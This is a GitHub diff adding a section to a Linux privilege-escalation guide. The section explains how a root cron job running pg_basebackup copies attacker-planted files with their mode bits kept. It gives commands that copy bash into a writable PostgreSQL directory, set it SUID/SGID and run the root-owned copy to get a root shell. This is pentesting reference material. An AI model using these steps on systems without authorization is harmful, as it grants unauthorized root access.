You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Copy file name to clipboardExpand all lines: src/linux-hardening/privilege-escalation/README.md
+24Lines changed: 24 additions & 0 deletions
Display the source diff
Display the rich diff
Original file line number
Diff line number
Diff line change
@@ -540,6 +540,29 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do
540
540
541
541
**You can also use**[**pspy**](https://github.com/DominicBreuker/pspy/releases) (this will monitor and list every process that starts).
542
542
543
+
### Root backups that preserve attacker-set mode bits (pg_basebackup)
544
+
545
+
If a root-owned cron wraps `pg_basebackup` (or any recursive copy) against a database directory you can write to, you can plant a **SUID/SGID binary** that will be recopied as **root:root** with the same mode bits into the backup output.
546
+
547
+
Typical discovery flow (as a low-priv DB user):
548
+
- Use `pspy` to spot a root cron calling something like `/usr/lib/postgresql/14/bin/pg_basebackup -h /var/run/postgresql -U postgres -D /opt/backups/current/` every minute.
549
+
- Confirm the source cluster (e.g., `/var/lib/postgresql/14/main`) is writable by you and the destination (`/opt/backups/current`) becomes owned by root after the job.
550
+
551
+
Exploit:
552
+
553
+
```bash
554
+
# As the DB service user owning the cluster directory
555
+
cd /var/lib/postgresql/14/main
556
+
cp /bin/bash .
557
+
chmod 6777 bash
558
+
559
+
# Wait for the next root backup run (pg_basebackup preserves permissions)
/opt/backups/current/bash -p # root shell without dropping privileges
562
+
```
563
+
564
+
This works because `pg_basebackup` preserves file mode bits when copying the cluster; when invoked by root the destination files inherit **root ownership + attacker-chosen SUID/SGID**. Any similar privileged backup/copy routine that keeps permissions and writes into an executable location is vulnerable.
565
+
543
566
### Invisible cron jobs
544
567
545
568
It's possible to create a cronjob **putting a carriage return after a comment** (without newline character), and the cron job will work. Example (note the carriage return char):
0 commit comments